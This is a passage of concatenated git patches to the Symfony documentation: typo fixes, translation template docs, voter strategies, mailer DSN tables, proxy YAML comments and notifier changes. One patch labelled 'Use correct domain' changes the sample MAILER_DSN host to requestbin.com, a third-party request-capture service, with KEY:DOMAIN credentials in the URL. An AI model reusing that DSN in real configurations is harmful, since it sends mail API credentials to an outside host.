+                // ->addTag('kernel.event_subscriber')
+            ;
 
 That's it! Now celebrate by changing the user's locale and seeing that it's
 sticky throughout the request.

From 74d2938580c363c38df6979700103483ec0b1d69 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 14 Mar 2021 19:38:47 +0100
Subject: [PATCH 0593/5766] [Intl] Fix typos

---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 6417489b14e..dafe45800d0 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -110,7 +110,7 @@ to catching the exception, you can also check if a given language code is valid:
 
     $isValidLanguage = Languages::exists($languageCode);
 
-Or if you have a alpha3 language code you want to check::
+Or if you have an alpha3 language code you want to check::
 
     $isValidLanguage = Languages::alpha3CodeExists($alpha3Code);
 
@@ -209,7 +209,7 @@ to catching the exception, you can also check if a given country code is valid::
 
     $isValidCountry = Countries::exists($alpha2Code);
 
-Or if you have a alpha3 country code you want to check::
+Or if you have an alpha3 country code you want to check::
 
     $isValidCountry = Countries::alpha3CodeExists($alpha3Code);
 

From ac44f85bd9596c5eff147f1b6ce93d8e7cf31817 Mon Sep 17 00:00:00 2001
From: Peter <github@comp.se>
Date: Sun, 7 Mar 2021 21:03:35 +0100
Subject: [PATCH 0594/5766] Update description for Access decision strategies

Updated the description to reflect the current behavior of the builtin AccessDecisionManager.
---
 security/voters.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 98ba54519af..869df508d50 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -278,12 +278,16 @@ There are three strategies available:
     This grants access as soon as there is *one* voter granting access;
 
 ``consensus``
-    This grants access if there are more voters granting access than denying;
+    This grants access if there are more voters granting access than
+    denying. If case of a tie the decision is based on the
+    ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``
-    This only grants access if there is no voter denying access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
+    This only grants access if there is no voter denying access.
+
+Regardless the chosen strategy, if all voters abstained from voting, the
+decision is based on the ``allow_if_all_abstain`` config option (which
+defaults to ``false``).
 
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer

From d24d45c3bfdc68e9b6040e939fc9d21ee7588be6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 12 Mar 2021 17:16:49 +0100
Subject: [PATCH 0595/5766] [Translation] Move the "templates" section into the
 main guide

---
 _build/redirection_map    |   1 +
 translation.rst           | 121 +++++++++++++++++++++++++++++++++++--
 translation/templates.rst | 123 --------------------------------------
 3 files changed, 116 insertions(+), 129 deletions(-)
 delete mode 100644 translation/templates.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 4954ce471fa..fe432c55aa1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -458,6 +458,7 @@
 /templating/embedding_controllers /templates#embedding-controllers
 /templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
+/translation/templates /translation#translation-in-templates
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
diff --git a/translation.rst b/translation.rst
index 0e1601cc536..bb822614451 100644
--- a/translation.rst
+++ b/translation.rst
@@ -304,14 +304,124 @@ Translations in Templates
 -------------------------
 
 Most of the time, translation occurs in templates. Symfony provides native
-support for both Twig and PHP templates:
+support for both Twig and PHP templates.
 
-.. code-block:: html+twig
+Using Twig Tags
+~~~~~~~~~~~~~~~
 
-    <h1>{% trans %}Symfony is great!{% endtrans %}</h1>
+Symfony provides specialized Twig tags (``trans`` and ``transchoice``) to
+help with message translation of *static blocks of text*:
+
+.. code-block:: twig
+
+    {% trans %}Hello %name%{% endtrans %}
+
+    {% transchoice count %}
+        {0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples
+    {% endtranschoice %}
+
+The ``transchoice`` tag automatically gets the ``%count%`` variable from
+the current context and passes it to the translator. This mechanism only
+works when you use a placeholder following the ``%var%`` pattern.
+
+.. deprecated:: 4.2
+
+    The ``transchoice`` tag is deprecated since Symfony 4.2 and will be
+    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
+    the ``trans`` tag instead.
+
+.. caution::
+
+    The ``%var%`` notation of placeholders is required when translating in
+    Twig templates using the tag.
+
+.. tip::
+
+    If you need to use the percent character (``%``) in a string, escape it by
+    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
+
+You can also specify the message domain and pass some additional variables:
+
+.. code-block:: twig
+
+    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
+
+    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
+
+    {% transchoice count with {'%name%': 'Fabien'} from 'app' %}
+        {0} %name%, there are no apples|{1} %name%, there is one apple|]1,Inf[ %name%, there are %count% apples
+    {% endtranschoice %}
+
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` and ``transchoice`` filters can be used to translate *variable
+texts* and complex expressions:
+
+.. code-block:: twig
+
+    {{ message|trans }}
+
+    {{ message|transchoice(5) }}
+
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+    {{ message|transchoice(5, {'%name%': 'Fabien'}, 'app') }}
+
+.. deprecated:: 4.2
+
+    The ``transchoice`` filter is deprecated since Symfony 4.2 and will be
+    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
+    the ``trans`` filter instead.
+
+.. tip::
+
+    Using the translation tags or filters have the same effect, but with
+    one subtle difference: automatic output escaping is only applied to
+    translations using a filter. In other words, if you need to be sure
+    that your translated message is *not* output escaped, you must apply
+    the ``raw`` filter after the translation filter:
+
+    .. code-block:: html+twig
+
+        {# text translated between tags is never escaped #}
+        {% trans %}
+            <h3>foo</h3>
+        {% endtrans %}
+
+        {% set message = '<h3>foo</h3>' %}
+
+        {# strings and variables translated via a filter are escaped by default #}
+        {{ message|trans|raw }}
+        {{ '<h3>bar</h3>'|trans|raw }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+PHP Templates
+~~~~~~~~~~~~~
+
+The translator service is accessible in PHP templates through the
+``translator`` helper::
+
+    <?= $view['translator']->trans('Symfony is great') ?>
+
+    <?= $view['translator']->transChoice(
+        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
+        10,
+        ['%count%' => 10]
+    ) ?>
 
-Read :doc:`/translation/templates` for more information about the Twig tags and
-filters for translation.
 
 Forcing the Translator Locale
 -----------------------------
@@ -600,7 +710,6 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/templates
     translation/locale
     translation/debug
     translation/lint
diff --git a/translation/templates.rst b/translation/templates.rst
deleted file mode 100644
index 903f1934d92..00000000000
--- a/translation/templates.rst
+++ /dev/null
@@ -1,123 +0,0 @@
-Using Translation in Templates
-==============================
-
-Twig Templates
---------------
-
-.. _translation-tags:
-
-Using Twig Tags
-~~~~~~~~~~~~~~~
-
-Symfony provides specialized Twig tags (``trans`` and ``transchoice``) to
-help with message translation of *static blocks of text*:
-
-.. code-block:: twig
-
-    {% trans %}Hello %name%{% endtrans %}
-
-    {% transchoice count %}
-        {0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples
-    {% endtranschoice %}
-
-The ``transchoice`` tag automatically gets the ``%count%`` variable from
-the current context and passes it to the translator. This mechanism only
-works when you use a placeholder following the ``%var%`` pattern.
-
-.. deprecated:: 4.2
-
-    The ``transchoice`` tag is deprecated since Symfony 4.2 and will be
-    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
-    the ``trans`` tag instead.
-
-.. caution::
-
-    The ``%var%`` notation of placeholders is required when translating in
-    Twig templates using the tag.
-
-.. tip::
-
-    If you need to use the percent character (``%``) in a string, escape it by
-    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
-
-You can also specify the message domain and pass some additional variables:
-
-.. code-block:: twig
-
-    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
-
-    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
-
-    {% transchoice count with {'%name%': 'Fabien'} from 'app' %}
-        {0} %name%, there are no apples|{1} %name%, there is one apple|]1,Inf[ %name%, there are %count% apples
-    {% endtranschoice %}
-
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` and ``transchoice`` filters can be used to translate *variable
-texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|transchoice(5) }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-    {{ message|transchoice(5, {'%name%': 'Fabien'}, 'app') }}
-
-.. deprecated:: 4.2
-
-    The ``transchoice`` filter is deprecated since Symfony 4.2 and will be
-    removed in 5.0. Use the :doc:`ICU MessageFormat </translation/message_format>` with
-    the ``trans`` filter instead.
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
-
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
-
-PHP Templates
--------------
-
-The translator service is accessible in PHP templates through the
-``translator`` helper::
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
-    <?= $view['translator']->transChoice(
-        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-        10,
-        ['%count%' => 10]
-    ) ?>

From 271f8f6d64d9bb25893e88ae150c2507a6d3d64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Mar 2021 20:13:00 +0100
Subject: [PATCH 0596/5766] Readded a missing reference

---
 translation.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/translation.rst b/translation.rst
index bb822614451..ac14dd8c318 100644
--- a/translation.rst
+++ b/translation.rst
@@ -306,6 +306,8 @@ Translations in Templates
 Most of the time, translation occurs in templates. Symfony provides native
 support for both Twig and PHP templates.
 
+.. _translation-tags:
+
 Using Twig Tags
 ~~~~~~~~~~~~~~~
 

From 518926f33835067cc67a57c887e3490fe86d6961 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Tue, 16 Mar 2021 08:53:19 +0100
Subject: [PATCH 0597/5766] add a warning about Amazon SES signature

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index ff567eab3bc..0a44eace54c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -160,6 +160,11 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    Symfony 4.4 only suppports Amazon SES Signature Version 3, that has been deprecated.
+    You need to use symfony/amazon-mailer 5.1 or newer.
+
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using

From 5cabc722845f9f08d4636d378636f56e07a70c03 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:25:52 +0100
Subject: [PATCH 0598/5766] Typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 0a44eace54c..e236b27c1a5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -162,7 +162,7 @@ party provider:
 
 .. caution::
 
-    Symfony 4.4 only suppports Amazon SES Signature Version 3, that has been deprecated.
+    Symfony 4.4 only supports Amazon SES Signature Version 3, that has been deprecated.
     You need to use symfony/amazon-mailer 5.1 or newer.
 
 .. tip::

From dd280ea98bcb48529038852d7b3b653d8c72be3c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:27:04 +0100
Subject: [PATCH 0599/5766] minor

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e236b27c1a5..dd0c14956c3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -162,8 +162,8 @@ party provider:
 
 .. caution::
 
-    Symfony 4.4 only supports Amazon SES Signature Version 3, that has been deprecated.
-    You need to use symfony/amazon-mailer 5.1 or newer.
+    Symfony 4.4 only supports Amazon SES signature version 3 which has been
+    deprecated. You need to use ``symfony/amazon-mailer`` 5.1 or newer.
 
 .. tip::
 

From c9cff9fa76541ca82a240048f3aae48e4c2d25fa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 16 Mar 2021 09:27:56 +0100
Subject: [PATCH 0600/5766] Remove caution. refs #15106

---
 mailer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index bbb7ab9305c..8f98d9b766f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,11 +174,6 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
-
-    Symfony 4.4 only supports Amazon SES signature version 3 which has been
-    deprecated. You need to use ``symfony/amazon-mailer`` 5.1 or newer.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From e37983a7cc8316fc409a0c9b6a5fc85b95309d22 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 16 Mar 2021 16:34:14 +0100
Subject: [PATCH 0601/5766] Update logging.rst

---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index d4ed95189ba..ae9ddd10a73 100644
--- a/logging.rst
+++ b/logging.rst
@@ -23,7 +23,7 @@ To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
 

From 61dc76568fe769311e98b76df8682b190df34e41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 17 Mar 2021 10:18:54 +0100
Subject: [PATCH 0602/5766] Use UserBadge in all passports

---
 security/experimental_authenticators.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index eb0ffa098e0..269aefe01a0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -494,7 +494,7 @@ The following credential classes are supported by default:
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
 
         // ...
-        return new Passport($user, new PasswordCredentials($plaintextPassword));
+        return new Passport(new UserBadge($email), new PasswordCredentials($plaintextPassword));
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
@@ -502,7 +502,7 @@ The following credential classes are supported by default:
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
 
         // ...
-        return new Passport($user, new CustomCredentials(
+        return new Passport(new UserBadge($email), new CustomCredentials(
             // If this function returns anything else than `true`, the credentials
             // are marked as invalid.
             // The $credentials parameter is equal to the next argument of this class
@@ -581,7 +581,7 @@ would initialize the passport like this::
             // ... validate no parameter is empty
 
             return new Passport(
-                new UserBadge($user),
+                new UserBadge($email),
                 new PasswordCredentials($password),
                 [new CsrfTokenBadge('login', $csrfToken)]
             );

From 316da38f2444913392161afa202e95e5be3edca3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:33:49 +0100
Subject: [PATCH 0603/5766] Fix DSN

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 8f98d9b766f..15c3d48ddcf 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -165,7 +165,7 @@ party provider:
  Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
  Postmark             postmark+smtp://ID:ID@default                        n/a                                         postmark+api://KEY@default
  Sendgrid             sendgrid+smtp://apikey:KEY@default                   n/a                                         sendgrid+api://KEY@default
- Sendinblue           sendinblue+smtp://apikey:USERNAME:PASSWORD@default   n/a                                         sendinblue+api://KEY@default
+ Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 89a9964dea89a754283a00d966ede0636c6fcf34 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:35:22 +0100
Subject: [PATCH 0604/5766] Fix DSNs

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dd0c14956c3..dda2efc5898 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -150,8 +150,8 @@ party provider:
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID:ID@default              n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
+ Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
+ Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
 .. caution::

From f019d537fa82e5f93929f3c1b4c9f2a469219141 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Mar 2021 11:37:17 +0100
Subject: [PATCH 0605/5766] Use correct domain

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dd0c14956c3..0f57ba46164 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,8 +173,8 @@ party provider:
     .. code-block:: env
 
         # .env
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com
-        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@requestbin.com:99
 
     Note that the protocol is *always* HTTPs and cannot be changed.
 

From b66dd5f27581c0cf7df1e66966b28c502f29eb51 Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Wed, 17 Mar 2021 16:51:14 +0100
Subject: [PATCH 0606/5766] Fix to use yaml syntax

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5f24a69a418..a51aa1c8889 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -31,11 +31,11 @@ and what headers your reverse proxy uses to send information:
         # config/packages/framework.yaml
         framework:
             # ...
-            // the IP address (or range) of your proxy
+            # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
-            // trust *all* "X-Forwarded-*" headers
+            # trust *all* "X-Forwarded-*" headers
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
-            // or, if your proxy instead uses the "Forwarded" header
+            # or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
 
     .. code-block:: xml

From 97614c0f05bc84e035c0a21ed0c019d27e2e5024 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 17 Mar 2021 17:30:31 +0100
Subject: [PATCH 0607/5766] Remove Jakub from the core team

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 4c719ff4330..136edb28dbb 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -60,7 +60,6 @@ Active Core Members
   * **Christian Flothmann** (`xabbuh`_);
   * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
-  * **Jakub Zalas** (`jakzal`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
@@ -106,7 +105,8 @@ Symfony contributions:
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
 * **Lukas Kahwe Smith** (`lsmith77`_);
-* **Jules Pietri** (`HeahDude`_).
+* **Jules Pietri** (`HeahDude`_);
+* **Jakub Zalas** (`jakzal`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a10fff91326c84f1c3956d19a60d89f513501ab Mon Sep 17 00:00:00 2001
From: Nicolas Hart <nclsHart@users.noreply.github.com>
Date: Wed, 17 Mar 2021 22:23:20 +0100
Subject: [PATCH 0608/5766] [Testing] Fix typo in assertEmailAttachmentCount

---
 testing/functional_tests_assertions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index edf1a6bb679..29e4b1e5e3a 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -84,7 +84,7 @@ Mailer
 - ``assertQueuedEmailCount()``
 - ``assertEmailIsQueued()``
 - ``assertEmailIsNotQueued()``
-- ``assertEmailAttachementCount()``
+- ``assertEmailAttachmentCount()``
 - ``assertEmailTextBodyContains()``
 - ``assertEmailTextBodyNotContains()``
 - ``assertEmailHtmlBodyContains()``

From 07dea78ee4fe513abd4d6abf0622d1a8315a7aab Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 19 Mar 2021 09:04:52 +0100
Subject: [PATCH 0609/5766] Update workflow.rst

---
 workflow.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 7f7acffaa3a..fa489c63cf7 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -238,7 +238,8 @@ Accessing the Workflow in a Class
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state machine type
+you can use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;

From 455edf4f2a7a764ae16ab06b5878600f38149dfd Mon Sep 17 00:00:00 2001
From: Hossein Vakili <hossein.vakili.sadeghi@gmail.com>
Date: Thu, 18 Mar 2021 13:01:45 +0100
Subject: [PATCH 0610/5766] Add Oracle DATABASE_URL instruction

---
 doctrine.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index e1ee1785c00..9d98f26b7ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -54,6 +54,9 @@ The database connection information is stored as an environment variable called
 
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
+    
+    # to use oracle:
+    # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
 .. caution::
 

From b3f014dff10f9331102fa1cb6fe56c000fff32b9 Mon Sep 17 00:00:00 2001
From: rodmar35 <rodolphe.marsollier@gmail.com>
Date: Thu, 18 Mar 2021 09:56:35 +0100
Subject: [PATCH 0611/5766] Update reverse_engineering.rst

---
 doctrine/reverse_engineering.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 087e41db955..320e424ea0a 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -99,9 +99,12 @@ run:
 
 .. code-block:: terminal
 
-    // generates getter/setter methods
+    // generates getter/setter methods for all Entities
     $ php bin/console make:entity --regenerate App
 
+    // generates getter/setter methods for one specific Entity
+    $ php bin/console make:entity --regenerate App\\Entity\\Country
+
 .. note::
 
     If you want to have a OneToMany relationship, you will need to add

From 019a8c82fa800777a7ea85dafe26cfccfdd9d9a7 Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Sat, 20 Mar 2021 11:42:29 +0100
Subject: [PATCH 0612/5766] Fix yaml syntax

---
 deployment/proxies.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index a51aa1c8889..49aa04c8361 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -125,8 +125,8 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
         # config/packages/framework.yaml
         framework:
             # ...
-            // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-            // run time by $_SERVER['REMOTE_ADDR'])
+            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            # run time by $_SERVER['REMOTE_ADDR'])
             trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.

From 6e3a415ad1d256e630aa34c5a2507f9f46f793b2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sat, 20 Mar 2021 19:07:46 +0100
Subject: [PATCH 0613/5766] Update bc.rst

---
 contributing/code/bc.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 15f1f03674d..371c1a35b95 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -4,10 +4,13 @@ Our Backward Compatibility Promise
 Ensuring smooth upgrades of your projects is our first priority. That's why
 we promise you backward compatibility (BC) for all minor Symfony releases.
 You probably recognize this strategy as `Semantic Versioning`_. In short,
-Semantic Versioning means that only major releases (such as 2.0, 3.0 etc.) are
-allowed to break backward compatibility. Minor releases (such as 2.5, 2.6 etc.)
+Semantic Versioning means that only major releases (such as 5.0, 6.0 etc.) are
+allowed to break backward compatibility. Minor releases (such as 5.1, 5.2 etc.)
 may introduce new features, but must do so without breaking the existing API of
-that release branch (2.x in the previous example).
+that release branch (5.x in the previous example).
+
+We also provide deprecation message triggered in the code base to help you with
+the migration process across major release.
 
 .. caution::
 

From 0e04632a01caee166f8dff10d5de2101e851627b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 20 Mar 2021 16:51:09 -0400
Subject: [PATCH 0614/5766] Remove extra slash in template path

---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index e0bd417886d..ece722f6f27 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -109,7 +109,7 @@ for multiple directories):
         # config/packages/twig.yaml
         twig:
             # ...
-            default_path: "%kernel.project_dir%//resources/views"
+            default_path: "%kernel.project_dir%/resources/views"
 
     .. code-block:: xml
 

From 7bbfe94d3a8a6e1d7743491fd7dd3fa97b04b979 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Sun, 21 Mar 2021 14:09:17 +0100
Subject: [PATCH 0615/5766] Remove SentMessage paragraph

The Notifier's `send` method does not return a `SentMessage` object: https://github.com/symfony/symfony/blob/5.2/src/Symfony/Component/Notifier/NotifierInterface.php#L26

Only the Chatter and Texter classes `send` methods returns a `SendMessage`.
---
 notifier.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d328084c0b8..0c8309aec71 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -380,7 +380,7 @@ To send a notification, autowire the
             );
 
             // Send the notification to the recipient
-            $sentMessage = $notifier->send($notification, $recipient);
+            $notifier->send($notification, $recipient);
 
             // ...
         }
@@ -391,14 +391,6 @@ channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
 both an email and sms notification to the user.
 
-The ``send()`` method used to send the notification returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
